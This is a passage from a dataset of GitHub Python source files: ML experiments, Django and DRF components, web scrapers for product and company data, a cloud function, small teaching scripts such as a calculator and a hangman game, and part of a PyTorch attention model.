d_values:\r\n model2 = DecisionTreeClassifier(max_depth=d, criterion=\"gini\")\r\n model2.fit(X_train, y_train)\r\n y_pred = model2.predict(X_test)\r\n accModel2.append(round(accuracy_score(y_test,y_pred)*100,2))\r\n\r\n print(\"Our Accuracies: \", accModel1)\r\n print(\"Sklearn's Accuracies: \", accModel2)\r\n plt.scatter(accModel1, accModel2)\r\n plt.title(\"Decision Tree Accuracy comparison\")\r\n plt.xlabel(\"Accuracy of our DT\")\r\n plt.ylabel(\"Accuracy of sklearn's DT\")\r\n plt.show()\r\n","repo_name":"abhibhargav29/MLearns","sub_path":"5)DecisionTree.py","file_name":"5)DecisionTree.py","file_ext":"py","file_size_in_byte":4495,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"84141284","text":"import numpy as np\nimport json\nfrom PIL import Image\nfrom pathlib import Path\nimport argparse\nimport os\n\ndef crop_images_bbox(input_dir,output_dir,anno_path, double_path = False):\n with open(anno_path) as f:\n anno = json.load(f)\n\n imageid2filename = {}\n for item in anno['images']:\n imageid2filename[item['id']] = item['file_name']\n\n label2conceptname = {}\n for item in anno['categories']:\n name = item['name'].replace(' ','_')\n label2conceptname[item['id']] = name\n if double_path == True:\n (output_dir/name/name).mkdir(parents=True, exist_ok = True)\n else:\n (output_dir/name).mkdir(parents=True, exist_ok = True)\n\n for item in anno['annotations']:\n bbox = item['bbox']\n if bbox[2] < 30 or bbox[3] < 30:\n continue\n bbox[2] += bbox[0]\n bbox[3] += bbox[1]\n img = Image.open(input_dir / imageid2filename[item['image_id']])\n img_cropped = img.crop(bbox)\n concept_name = label2conceptname[item['category_id']]\n if double_path == True:\n img_cropped.save(output_dir / f\"{concept_name}/{concept_name}/{item['id']}.jpg\")\n else:\n img_cropped.save(output_dir / f\"{concept_name}/{item['id']}.jpg\")\n \n return\n\nparser = argparse.ArgumentParser('Cropping COCO images with bounding boxs')\nparser.add_argument('-coco-path', type=str, default = 'data/coco')\nparser.add_argument('-concept-path', type=str, default = 'data_256')\nargs = parser.parse_args()\nprint(args)\n\ncoco_path = Path(args.coco_path)\ntrain_dir = coco_path / 'train2017'\nval_dir = coco_path / 'val2017'\ntrain_anno_path = coco_path / 'annotations/instances_train2017.json'\nval_anno_path = coco_path / 'annotations/instances_val2017.json'\n\nconcept_path = Path(args.concept_path)\nconcept_path.mkdir(parents=True, exist_ok = True)\nconcept_train_dir = concept_path / 'concept_train'\nconcept_train_dir.mkdir(parents=True, exist_ok = True)\nconcept_val_dir = concept_path / 'concept_test'\nconcept_val_dir.mkdir(parents=True, exist_ok = True)\n\ncrop_images_bbox(val_dir, concept_val_dir, val_anno_path)\ncrop_images_bbox(train_dir, concept_train_dir, train_anno_path, double_path=True)\n\n","repo_name":"zhiCHEN96/ConceptWhitening","sub_path":"cropping_images_COCO.py","file_name":"cropping_images_COCO.py","file_ext":"py","file_size_in_byte":2210,"program_lang":"python","lang":"en","doc_type":"code","stars":106,"dataset":"github-code","pt":"32"} +{"seq_id":"1812097668","text":"from django.forms.widgets import Widget\nfrom django.template import loader\nfrom django.utils.safestring import mark_safe\nfrom django.urls import reverse\nimport os\nfrom django.conf import settings\nfrom ocr import settings as ocr_default_settings\n\n\nclass LinkWidget(Widget):\n \"\"\"\n Base class for FileLink and PdfLink 2019-04-12\n \"\"\"\n template_name = None\n\n def __init__(self, *args, **kwargs):\n \"\"\"\n LinkWidget constructor, 2019-04-12\n :param args:\n :param kwargs:\n \"\"\"\n super(LinkWidget, self).__init__(*args, **kwargs)\n\n\nclass FileLink(LinkWidget):\n \"\"\"\n Widget of OCRedFile.file for using in admin 2019-04-12\n \"\"\"\n template_name = 'ocr/forms/widgets/file_link.html'\n file_type = None\n\n def __init__(self, *args, **kwargs):\n \"\"\"\n FileLink widget constructor, initializes self.file_type, 2019-04-12\n :param args:\n :param kwargs:\n \"\"\"\n if 'file_type' in kwargs:\n self.file_type = kwargs['file_type']\n kwargs.pop('file_type')\n super(FileLink, self).__init__(*args, **kwargs)\n\n def get_context(self, name, value, attrs):\n context = super(FileLink, self).get_context(name, value, attrs)\n if getattr(settings, 'OCR_FILE_PREVIEW', ocr_default_settings.FILE_PREVIEW) and 'image' in self.file_type:\n context['widget']['file_preview'] = True\n if not getattr(settings, 'OCR_STORE_FILES', ocr_default_settings.STORE_FILES):\n context['widget']['store_files_disabled'] = True\n if 'store_files_disabled' in context['widget']['value']:\n context['widget']['file_missing'] = True\n elif 'file_removed' in context['widget']['value']:\n context['widget']['file_removed'] = True\n else:\n context['widget']['filename'] = os.path.basename(str(value))\n context['widget']['url'] = reverse(__package__ + ':download',\n kwargs={'download_target': 'file', 'filename': context['widget']['filename']})\n return context\n\n\nclass PdfLink(LinkWidget):\n \"\"\"\n Widget that shows a link to pdf file on the update model admin page.\n If pdf file exists the 'Remove PDF' button shows.\n If pdf file does not exists and it is possible to create it the 'Create PDF' button will shows\n \"\"\"\n template_name = 'ocr/forms/widgets/pdf_link.html'\n can_create_pdf = None\n # no_source_file = False\n # ocred = False\n\n def __init__(self, *args, **kwargs):\n if 'can_create_pdf' in kwargs:\n self.can_create_pdf = kwargs['can_create_pdf']\n kwargs.pop('can_create_pdf')\n super(PdfLink, self).__init__(*args, **kwargs)\n\n def get_context(self, name, value, attrs):\n \"\"\"\n This function creates context for rendering widget template.\n If pdf file exists the context['pdf_exists'] will be True\n If pdf file does not exist and it is possible to create it context['create_pdf_button'] will be True\n :param name:\n :param value:\n :param attrs:\n :return:\n \"\"\"\n context = super(PdfLink, self).get_context(name, value, attrs)\n\n if not getattr(settings, 'OCR_STORE_PDF', ocr_default_settings.STORE_PDF):\n context['widget']['store_pdf_disabled'] = True\n if not context['widget']['value']:\n # value is empty, this means that OCRedFile.file is PDF and it has text,\n # or OCRedFile.file was ocred but OCRedFile.text is empty\n # In this case no need to show Remove button, and no need to show Create button\n return context\n if self.can_create_pdf:\n context['widget']['create_pdf_button'] = True\n if 'store_pdf_disabled' in context['widget']['value']:\n context['widget']['pdf_missing'] = True\n elif 'pdf_removed' in context['widget']['value']:\n context['widget']['pdf_removed'] = True\n else:\n context['widget']['filename'] = os.path.basename(str(value))\n context['widget']['url'] = reverse(__package__ + ':download',\n kwargs={'download_target': 'pdf', 'filename': context['widget']['filename']})\n context['widget']['pdf_exists'] = True\n return context\n\n\nclass PdfInfo(Widget):\n template_name = 'ocr/forms/widgets/pdf_info.html'\n pdf_info = None\n\n def __init__(self, *args, **kwargs):\n if 'pdf_info' in kwargs:\n self.pdf_info = kwargs['pdf_info']\n kwargs.pop('pdf_info')\n super(PdfInfo, self).__init__(*args, **kwargs)\n\n def get_context(self, name, value, attrs):\n context = super(PdfInfo, self).get_context(name, value, attrs)\n context['pdf_info'] = self.pdf_info\n return context\n","repo_name":"shmakovpn/ocr_server","sub_path":"ocr/widgets.py","file_name":"widgets.py","file_ext":"py","file_size_in_byte":4836,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"20535051897","text":"# -*- coding: utf-8 -*-\n\nimport re\nimport os\nfrom urllib import quote\nfrom scrapy.spider import BaseSpider\ntry:\n from scrapy.selector import Selector\nexcept ImportError:\n from scrapy.selector import HtmlXPathSelector as Selector\n\nfrom scrapy.http import Request, FormRequest\nfrom scrapy.utils.url import urljoin_rfc\n\nfrom scrapy.item import Item, Field\nfrom product_spiders.utils import extract_price\nfrom product_spiders.items import (\n Product,\n ProductLoaderWithNameStrip as ProductLoader\n)\n\n\nHERE = os.path.abspath(os.path.dirname(__file__))\n\n\nclass MetaData(Item):\n Promotions = Field()\n corner_promotion = Field()\n\n\nclass BathEmpireSpider(BaseSpider):\n name = \"bathempire-bathempire.com\"\n allowed_domains = [\"soak.com\", \"fsm.attraqt.com\"]\n start_urls = ['http://www.soak.com/']\n\n def parse(self, response):\n categories = response.xpath('//div[@id=\"header\"]//a/@href').extract()\n categories += response.xpath('//div[@class=\"categorypage\"]//div/a/@href').extract()\n for url in categories:\n yield Request(response.urljoin(url))\n\n category_tree = re.findall(\"'categorytree', '(.*)'\\);\", response.body)\n category_conf = re.findall(\"'category', '(.*)'\\);\", response.body)\n\n if category_conf and category_tree:\n category_tree = category_tree[0]\n category_conf = category_conf[0]\n \n products_page = ('http://fsm.attraqt.com/zones-js.aspx?version=2.23.2&'\n 'siteId=4170eb3b-f55c-40d3-aaeb-8cb777e96a28&referrer=&'\n 'sitereferrer=&pageurl='+quote(response.url)+'&esp_pg=1&zone0=category_recs1&'\n 'zone1=category&zone2=banner_advert&zone3=category_recs2&'\n 'zone4=category_recs3&facetmode=data&mergehash=true&'\n 'config_categorytree='+category_tree+'&config_category='+category_conf)\n meta={'category_tree': category_tree, \n 'category_conf': category_conf,\n 'url': response.url}\n yield Request(products_page, callback=self.parse_products, meta=meta)\n\n def parse_products(self, response):\n base_url = 'http://soak.com'\n\n hxs = Selector(text=response.body.replace('\\\\\"', '\"'))\n \n products = hxs.select('//div[contains(@class, \"product\")]//a[div[@class=\"name\"]]/@href').extract()\n for product in products:\n yield Request(urljoin_rfc(base_url, product), callback=self.parse_product)\n\n pages = hxs.select('//a[contains(@class, \"pageNumber\")]/text()').extract()\n for page in pages:\n next_page = ('http://fsm.attraqt.com/zones-js.aspx?version=2.23.2&'\n 'siteId=4170eb3b-f55c-40d3-aaeb-8cb777e96a28&referrer=&'\n 'sitereferrer=&pageurl='+response.meta['url']+'%23esp_pg%3D'+page+'&zone0=category_recs1&'\n 'zone1=category&zone2=banner_advert&zone3=category_recs2&'\n 'zone4=category_recs3&facetmode=data&mergehash=true&'\n 'config_categorytree='+response.meta['category_tree']+'&config_category='+response.meta['category_conf'])\n yield Request(next_page, callback=self.parse_products, meta=response.meta)\n\n def parse_product(self, response):\n products = response.xpath('//div[contains(@class, \"product\")]//a[div[@class=\"name\"]]/@href').extract()\n if products:\n for product in products:\n yield Request(response.urljoin(product), callback=self.parse_product)\n\n pages = response.xpath('//a[contains(@class, \"pageNumber\")]/text()').extract()\n for page in pages:\n page = response.urljoin(page)\n yield Request(page)\n\n return\n\n name = response.xpath('//div/h1/text()').extract()\n try:\n price = response.xpath('//div[@class=\"bigprice GBP\"]/@data-price').extract()[0]\n except IndexError:\n for p in self.parse(response):\n yield p\n return\n\n brand = ''\n categories = response.xpath('//ul[@class=\"breadcrumb\"]/li/a/text()').extract()[1:]\n\n l = ProductLoader(item=Product(), response=response)\n\n image_url = response.xpath('//div[@id=\"mainImage\"]/img/@src').extract()\n image_url = response.urljoin(image_url[0]) if image_url else ''\n l.add_value('image_url', image_url)\n l.add_value('url', response.url)\n l.add_value('name', name)\n l.add_value('price', extract_price(price))\n l.add_value('brand', brand)\n l.add_value('category', categories)\n sku = response.xpath('//p[@class=\"partcode\"]/text()').re('Quick Code: (.*)')\n sku = sku[0] if sku else ''\n l.add_value('sku', sku)\n l.add_xpath('identifier', '//input[@name=\"product_id\"]/@value')\n\n item = l.load_item()\n\n promotions = response.xpath('//div[contains(@class, \"price_box\")]//div[@class=\"GBP\"]/span[@class=\"desktop_rrp\" or @class=\"saving\"]/text()').extract()\n\n corner_promotion = response.xpath('//img[@class=\"cornerflash\"]/@src').re('Empire/(.*).png')\n corner_promotion = corner_promotion[0] if corner_promotion else ''\n\n corner_promotions = {'pricedrop': 'Price Drop',\n 'deal': 'Deal',\n 'freedel': 'Free Delivery',\n 'newarrival': 'New Arrival',\n 'sale': 'Sale',\n 'bestseller': 'Bestseller',\n 'wasteincluded': 'Waste Included',\n 'trayincluded': 'Tray Included',\n 'clearance': 'Clearance',\n 'pricedropred': 'Price Drop',\n 'asseenontv': 'As Seen On T.V'}\n\n metadata = MetaData()\n metadata['corner_promotion'] = corner_promotions.get(corner_promotion, '')\n metadata['Promotions'] = ' '.join(promotions) if promotions else ''\n item['metadata'] = metadata\n\n stock_url = \"http://soak.com/includes/ajax/in_stock.php\"\n part_code = response.xpath('//div[contains(@class, \"stock_report\")]/@data-partcode').extract()[0]\n manufacturers_id = response.xpath('//div[contains(@class, \"stock_report\")]/@data-manufacturers_id').extract()[0]\n formdata = {'action': 'in_stock',\n 'manufacturers_id': manufacturers_id,\n 'part_code': part_code}\n\n yield FormRequest(stock_url, formdata=formdata, callback=self.parse_stock, meta={'item': item})\n\n def parse_stock(self, response):\n item = response.meta['item']\n stock = response.xpath('//*[contains(text(), \"In stock\")]').extract()\n if not stock:\n item['stock'] = 0\n\n shipping_url = \"http://soak.com/product.php?action=ShippingQuote\"\n formdata = {'productID': item['identifier']}\n req = FormRequest(shipping_url, formdata=formdata, callback=self.parse_shipping_cost, meta={'item': item})\n yield req\n\n def parse_shipping_cost(self, response):\n item = response.meta['item']\n\n shipping_cost = response.xpath('//span[@class=\"GBP currency2\"]/text()').extract()\n if shipping_cost:\n item['shipping_cost'] = extract_price(shipping_cost[0])\n\n yield item\n\n","repo_name":"Godsoo/scraping","sub_path":"e-commerce/CompetitorMonitor/product_spiders/spiders/bathempire/bathempire.py","file_name":"bathempire.py","file_ext":"py","file_size_in_byte":7410,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"25228262433","text":"import datetime\nimport logging\nimport random\nimport threading\nimport time\nimport traceback\nfrom multiprocessing import Process\nimport schedule\nfrom read_company_base import get_company_base_cert_readfile\nfrom spider.redis_company import company_four, company_four_over\nfrom spider.sikuyipingminspider import MinSpider, wirte_file\nfrom spider.sql import searchdb, serch_siku_id\n\n\ndef get_redis_company_id_base_cert():\n try:\n spider = MinSpider()\n spider.replace_ip()\n while True:\n times=str(datetime.date.today())\n fil=f'company_id{times}.txt'\n if spider.booltime(times): # is true wating 1h\n print('waiting1h......')\n wirte_file(fil,data=1)\n get_company_base_cert_readfile()\n companys = set()\n for n in range(10):\n cname=company_four()\n # psnum = searchdb(cname)\n # print(cname, psnum)\n # if not psnum:\n companys.add(cname)\n print(companys)\n # time.sleep(2222)\n threads_name_id = []#遍历获取 name id\n for companyname in companys:\n print(companyname)\n threadid = threading.Thread(target=spider.get_company_id, args=(companyname, fil))\n threadid.start()\n threads_name_id.append(threadid)\n for thread in threads_name_id:\n thread.join()\n threads_base_cert = []#遍历获取 base cert\n for base in spider.companyset:\n companybase=eval(base.replace('\\n', ''))\n print(companybase)\n cname = companybase[0]\n if not searchdb(cname):\n cid = companybase[1]\n scthread = threading.Thread(target=spider.run_search_base_cert, args=(cid, cname,times),)\n scthread.start()\n threads_base_cert.append(scthread)\n for thread in threads_base_cert:\n thread.join()\n for cname in companys:\n company_four_over(cname)\n spider.companyset.clear()\n spider.randomtime()\n except Exception as e:\n logging.error(f\"def get_redis_company_id_base_cert 获取失败{e}\\n{traceback.format_exc()}\")\n\ndef run2():\n process = []\n for a in range(10):\n p = Process(target=get_redis_company_id_base_cert)\n print(p.name)\n p.start()\n process.append(p)\n for pro in process:\n pro.join()\n print('采集完成')\n\n\nif __name__ == '__main__':\n\n # print('after waiting 1h ,start timer..... ')\n # schedule.every().day.at(\"01:19:00\").do(run2)\n while True:\n run2()\n # schedule.run_pending()\n # print('after waiting 1h ,start timer..... ')\n time.sleep(1000*random.random() * 500)\n","repo_name":"Uther-ivy/siku_spider","sub_path":"run_redis_siku_base.py","file_name":"run_redis_siku_base.py","file_ext":"py","file_size_in_byte":2879,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"1400788684","text":"from flask import Flask, render_template,request\nimport mlab\nfrom bike import Bike\n\n\n\napp = Flask(__name__)\nmlab.connect()\n@app.route(\"/new_bike\", methods = [\"GET\", \"POST\"])\ndef new_bike():\n if request.method == \"GET\":\n return render_template (\"add_bike.html\")\n else:\n form = request.form \n m = form[\"Model\"]\n d = form[\"Dailyfee\"]\n i = form[\"Image\"]\n y = form[\"Year\"]\n n = Bike(Model = m, Dailyfee = d, Image = i, Year = y)\n n.save()\n return \"Ahihi DO ngoc\", print(n)\n\nif __name__ == \"__main__\": \n app.run(debug=True)\n\n","repo_name":"Ngocdungnb/ngocdung-web","sub_path":"web3/homework/app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":592,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"19047497859","text":"def add_category_weights(event, context):\n\n from google.cloud import storage\n from google.cloud import firestore\n from google.cloud import pubsub_v1\n\n\n def list_categories(bucket_name, source_blob_name):\n\n storage_client = storage.Client()\n bucket = storage_client.bucket(bucket_name)\n blob = bucket.get_blob(source_blob_name)\n categories = blob.download_as_string(client=None).decode('utf-8').split(',')\n\n return categories\n\n def create_weights(list_of_categories, collection):\n\n db = firestore.Client()\n emails_list = db.collection(u'{}'.format(collection)).get()\n \n print(list_of_categories)\n other_category = 'other'\n\n dict_of_weights = {}\n for category in list_of_categories:\n dict_of_weights[category] = 0\n print(dict_of_weights)\n \n for email in emails_list:\n categories = email.get(\"categories\")\n\n for category in categories:\n dict_of_weights[category] = dict_of_weights[category] + 1\n \n print(dict_of_weights)\n \n for category in list_of_categories:\n # Add a new document\n doc_ref = db.collection(u'category_weights').document(u'{}'.format(category))\n doc_ref.set({\n u'name': u'{}'.format(category),\n u'weight': dict_of_weights[category]\n })\n\n list_of_categories = list_categories('email_staging', 'list-of-categories.txt')\n create_weights(list_of_categories, 'emails')\n\n publisher = pubsub_v1.PublisherClient()\n topic_name = 'projects/{project_id}/topics/{topic}'.format(\n project_id='hack-hackasaumon',\n topic='sentiment-trigger', # Set this to something appropriate.\n )\n future = publisher.publish(topic_name, b'Done adding weights')\n future.result()\n return f'Weights added to Firestore!'\n","repo_name":"fleadsom/dbee","sub_path":"cloud_functions/add-weights/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1909,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"32"} +{"seq_id":"37112585593","text":"# возвращает все словари в списке\r\ndef dicts_in_list(l: list):\r\n # пустой список\r\n dicts = []\r\n # перебираем всё в списке\r\n for item in l:\r\n # если это словарь, добавляем в список\r\n if isinstance(item, dict):\r\n dicts.append(item)\r\n # если это список, то рекурсия, результат соединяем со словарем\r\n elif isinstance(item, list):\r\n dicts = dicts + dicts_in_list(item)\r\n # возвращаем список словарей внутри списка\r\n return dicts\r\n\r\n\r\n# глубина словаря\r\ndef dict_len(mydict, count=0):\r\n # список глубин ветвей\r\n branches = []\r\n # каждый ключ в словаре\r\n for key in mydict:\r\n # если это словарь\r\n if isinstance(mydict[key], dict):\r\n # добавляем ветку со значением 1\r\n branches.append(1)\r\n # рекурсия\r\n count = dict_len(mydict[key], count)\r\n # добавляем значение в список\r\n branches[-1] += count\r\n # если это список\r\n elif isinstance(mydict[key], list):\r\n # перебираем словари в списке\r\n for item in dicts_in_list(mydict[key]):\r\n # каждый - новая ветвь\r\n branches.append(1)\r\n count = dict_len(item, count)\r\n branches[-1] += count\r\n # если нет ветвей, то длина 0, 1 прибавили при добавлении значения в список\r\n if not branches:\r\n count = 0\r\n else:\r\n # если есть ветви, берем максимальную\r\n count = max(branches)\r\n # возвращаем максимальную ветвь\r\n return count\r\n","repo_name":"FoRBeR/Dictionary-nesting-depth","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2010,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"39476466228","text":"def soma():\n x = input('Digite o primeiro número: ')\n y = input('Digite o segundo número: ')\n soma = int(x) + int(y)\n print(f'A soma de {x} + {y} é {soma}')\n\ndef subtracao():\n x = input('Digite o primeiro número: ')\n y = input('Digite o segundo número: ')\n subtracao = int(x) - int(y)\n print(f'A subtracao de {x} - {y} é {subtracao}')\n\ndef multiplicacao():\n x = input('Digite o primeiro número: ')\n y = input('Digite o segundo número: ')\n multiplicacao = float(x) * float(y)\n print(f'A multiplicação de {x} * {y} é {multiplicacao}')\n\ndef divisao():\n x = input('Digite o primeiro número: ')\n y = input('Digite o segundo número: ')\n divisao = int(x)/int(y)\n print(f'A divisão de {x} / {y} é {divisao}')\n\nescolha=1\n\nwhile escolha:\n print('0. Sair')\n print('1. Somar')\n print('2. Subtrair')\n print('3. Multiplicação')\n print('4. Divisao ')\n\n escolha = int(input('Opção: '))\n\n if(escolha==1):\n soma()\n if(escolha==2):\n subtracao()\n if(escolha==3):\n multiplicacao()\n if(escolha==4):\n divisao()","repo_name":"Danielhlw/Estudos-Python","sub_path":"calculadora.py","file_name":"calculadora.py","file_ext":"py","file_size_in_byte":1112,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"41230058488","text":"import os\r\nimport time\r\n\r\n\r\n\r\nwhile 1>0:\r\n tentatives = 0\r\n dico_mot = []\r\n # on demande le mot à montrer puis on le met en minuscule.\r\n solution = input(\"Enter le mot qui permetra de jouer au pendu: \")\r\n solution_minuscule= x=solution.lower()\r\n os.system(\"cls\")\r\n time.sleep(0.5)\r\n dico_fautes = [\"\\n \\n \\n \\n \\n \\n \\n _|_\",\"\\n  | \\n |\\n | \\n |\\n |\\n _|_ \",\" ________ \\n  | \\n |\\n | \\n |\\n |\\n _|_ \",\" ________ \\n  | | \\n | 0\\n | \\n |\\n |\\n _|_ \",\" ________ \\n  | | \\n | 0\\n | /\\ \\n |\\n |\\n _|_ \",\" ________ \\n  | | \\n | 0\\n | /|\\ \\n | |\\n |\\n _|_ \",\" ________ \\n  | | \\n | 0\\n | /|\\ \\n | |\\n | / \\ \\n _|_ You Lost\"]\r\n tiret_bas = []\r\n \r\n # on va tester si les caractères correspondent à la liste acceptée.\r\n # ensuite on imprime le nombre de tirets bas correspondant au nombre\r\n # de lettres dans le mot.\r\n \r\n for i in range(len(solution_minuscule)):\r\n dico_mot.append(solution_minuscule[i])\r\n tiret_bas.append(\"_\")\r\n nb_caractere = len(solution)\r\n nb_lettre = [\"a\",\"b\",\"c\",\"d\",\"e\",\"f\",\"g\",\"h\",\"i\",\"j\",\"k\",\"l\",\"m\",\"n\",\"o\",\"p\",\"q\",\"r\",\"s\",\"t\",\"u\",\"v\",\"w\",\"x\",\"y\",\"z\",\"ç\",\"é\",\"è\",\"â\",\"ä\",\"ù\"]\r\n \r\n if dico_mot[i] not in nb_lettre:\r\n print(\"Erreur dans le mot que vous avez donné (rentré seulement des lettres svp !)\")\r\n solution = input('Entrez le mot à deviner: ')\r\n \r\n print(\"le mot a deviner est : \"+ len(solution_minuscule)*\"_ \")\r\n \r\n time.sleep(0.25)\r\n \r\n # le joueur commence à deviner et on lui dit si il a vrai ou si il a faux\r\n # en lui redonnant son nombre de tentatives\r\n\r\n while tentatives < 7 and \"_\" in tiret_bas :\r\n proposition = input(\"Proposez une lettre : \")\r\n lettres_trouvees = \"\"\r\n \r\n if proposition in solution and len(proposition) == 1:\r\n lettres_trouvees = lettres_trouvees + proposition\r\n print(\"Bonne lettre!\")\r\n \r\n for i in range(len(solution_minuscule)):\r\n l=[i for i in range(len(solution_minuscule)) if solution_minuscule[i]== proposition]\r\n \r\n for i in range(len(l)):\r\n tiret_bas[l[i]] = proposition\r\n print(\" \".join(tiret_bas))\r\n \r\n else:\r\n print(\"Raté, il vous reste \", 7 - tentatives, \" tentatives\")\r\n print(dico_fautes[tentatives])\r\n tentatives = tentatives + 1\r\n print(\" _ _ __ _ _ _ _ __ __ _ \\n( \\/ ) \\/ )( \\ / )( ( | ( \\ \\n ) ( O ) \\/ ( \\ /\\ /)(/ / \\n(__/ \\__/\\____/ (_/\\_|__)_)__) \\n \") \r\n cond_recommencer = input(\"voulez vous recommencer ? o/n \")\r\n cond_dict = [\"o\",\"n\"]\r\n \r\n if cond_recommencer in cond_dict:\r\n break\r\n \r\n else:\r\n os.system(\"cls\")\r\nprint(\"Au revoir.\")","repo_name":"thomas-corteval/pendu-nsi","sub_path":"jeu_du_pendu.py","file_name":"jeu_du_pendu.py","file_ext":"py","file_size_in_byte":2928,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"6929610161","text":"# serializers.py\nfrom rest_framework import serializers\n\nfrom .models import Employee\nfrom .models import Department\n\nclass EmployeeSerializer(serializers.ModelSerializer):\n\tclass Meta:\n\t\tmodel = Employee\n\t\tfields = (\n\t\t\t'id', \n\t\t\t'first_name', \n\t\t\t'last_name',\n\t\t\t'position',\n\t\t\t'salary',\n\t\t\t'age',\n\t\t\t'department_id',\n\t\t)\n\nclass DepartmentCreateSerializer(serializers.ModelSerializer):\n\tclass Meta:\n\t\tmodel = Department\n\t\tfields = (\n\t\t\t'id', \n\t\t\t'department_name',\n\t\t\t'chief',\n\t\t)\n\nclass DepartmentListSerializer(serializers.ModelSerializer):\n\tdepartment_id = serializers.IntegerField()\n\t# department_name = serializers.CharField(source='department_id.department_name', default=None)\n\temployee_count = serializers.IntegerField()\n\tsalary_sum = serializers.DecimalField(10,2)\n\tclass Meta:\n\t\tmodel = Employee\n\t\tfields = (\n\t\t\t'department_id', \n\t\t\t'employee_count', \n\t\t\t'salary_sum', \n\t\t\t# 'department_name',\n\t\t)\n\n","repo_name":"cruithne-2292/project","sub_path":"app/serializers.py","file_name":"serializers.py","file_ext":"py","file_size_in_byte":911,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"74582759130","text":"import torch\r\nimport torch.nn as nn\r\nimport torch.nn.functional as F\r\nfrom torch.distributions.categorical import Categorical\r\n\r\n### Add block model components\r\nfrom models.attention_model import BaseModel\r\n\r\n\r\n# Function from https://github.com/ikostrikov/pytorch-a2c-ppo-acktr/blob/master/model.py\r\ndef init_params(m):\r\n classname = m.__class__.__name__\r\n if classname.find(\"Linear\") != -1:\r\n m.weight.data.normal_(0, 1)\r\n m.weight.data *= 1 / torch.sqrt(m.weight.data.pow(2).sum(1, keepdim=True))\r\n if m.bias is not None:\r\n m.bias.data.fill_(0)\r\n\r\nclass Block_model(nn.Module):\r\n def __init__(self, input_dim, top_k, block_hid_dim, att_layer_num, norm_type, device, bl_log_sig_min,\r\n bl_log_sig_max):\r\n super().__init__()\r\n\r\n self.input_dim = input_dim #64 (hs+hr+ha)\r\n\r\n ### Block latent variable(embedding) dimension\r\n self.block_hid_dim = block_hid_dim # 256\r\n self.block_mu_size = 64\r\n\r\n ### Attention selection\r\n self.top_k = top_k\r\n\r\n self.device = device\r\n self.bl_log_sig_min = bl_log_sig_min\r\n self.bl_log_sig_max = bl_log_sig_max\r\n\r\n activation = nn.Tanh()\r\n # activation = nn.ReLU()\r\n\r\n # Define block memory\r\n ## Blockwise RNN. For simplicity, we use GRU. However, LSTM can also be applied.\r\n #self.block_memory_rnn = nn.GRUCell(self.input_dim * self.top_k, self.block_hid_dim)\r\n self.block_memory_rnn = nn.GRU(input_size = self.input_dim * self.top_k,\r\n hidden_size = self.block_hid_dim,\r\n num_layers = 1,\r\n )\r\n\r\n ## Define Self-attention\r\n ## Note that the output dimension of self-attention is the same as input dimension due to Residual connection.\r\n ## 4 multi-heads\r\n self.att_model_q = BaseModel(hidden_dim=self.input_dim, num_layers=att_layer_num,\r\n norm_type=norm_type)\r\n\r\n ## Define mean of encoder\r\n self.block_mu = nn.Sequential(\r\n nn.Linear(self.block_hid_dim, self.block_hid_dim // 2),\r\n activation,\r\n nn.Linear(self.block_hid_dim // 2, self.block_mu_size)\r\n )\r\n\r\n ## Define stddev of decoder\r\n self.block_sig = nn.Sequential(\r\n nn.Linear(self.block_hid_dim, self.block_hid_dim // 2),\r\n activation,\r\n nn.Linear(self.block_hid_dim // 2, self.block_mu_size),\r\n # nn.Softplus()\r\n )\r\n\r\n ## Define p_theta model for self-normalized importance sampling\r\n self.self_norm_model = nn.Sequential(\r\n nn.Linear(self.input_dim * self.top_k + self.block_mu_size, self.input_dim),\r\n activation,\r\n nn.Linear(self.input_dim, 1)\r\n )\r\n\r\n # Initialize parameters correctly\r\n self.apply(init_params)\r\n\r\n def forward(self, obs_block_ori, block_memory_ori):\r\n ## obs_block_ori: [ seq=L, batch=16, 64(feature)]\r\n ## block_memory_ori: [16, self.block_hid_dim=256]\r\n\r\n\r\n obs_block = obs_block_ori.clone()\r\n #print(\"obs_block\", obs_block.shape)\r\n assert len(obs_block.size()) == 3\r\n\r\n block_memory = block_memory_ori.clone()\r\n #print(\"block_memory (hidden)\", block_memory.shape)\r\n assert len(block_memory.size()) == 3\r\n\r\n # print(\"block_memory first\", block_memory_ori)\r\n\r\n # Step 1. input obs and action to Attention for model_q.\r\n # Then select some of them. Default is to choose 2 ends like bi-LSTM (block_len >=2).\r\n # Later, we are going to choose 'self.trans_select_N' number of outputs based on Attention score.\r\n\r\n trans_q_output, attention_matrix = self.att_model_q.forward(obs_block) # (seq, batch_size=4, 64)\r\n trans_q_output = trans_q_output.permute(1, 0, 2) # (batch=4, seq, 256)\r\n # print(\"trans_q_output\", trans_q_output, trans_q_output.shape) # (batch, seq, hidden_dim=64)\r\n # print(\"attention\", attention_matrix, attention_matrix.shape) # (batch*n_head, trans_seq, trans_seq)\r\n\r\n attention_matrix_align = torch.cat(attention_matrix.split(obs_block.size()[1], dim=0),\r\n 2) # (batch, trans_seq, trans_seq*n_head)\r\n\r\n ### Pass top K elements\r\n batch_here = trans_q_output.shape[0]\r\n seq_len_here = trans_q_output.shape[1]\r\n\r\n _, top_k_index = torch.topk(attention_matrix_align.sum(dim=-1), k=min(self.top_k, seq_len_here), dim=-1)\r\n\r\n top_k_index_repeat = top_k_index.unsqueeze(dim=-1).repeat(1, 1, trans_q_output.shape[2])\r\n # (batch, min(self.top_k, trans_q_output.shape[1]), 256)\r\n top_k_q_output_selected = torch.gather(trans_q_output, dim=1, 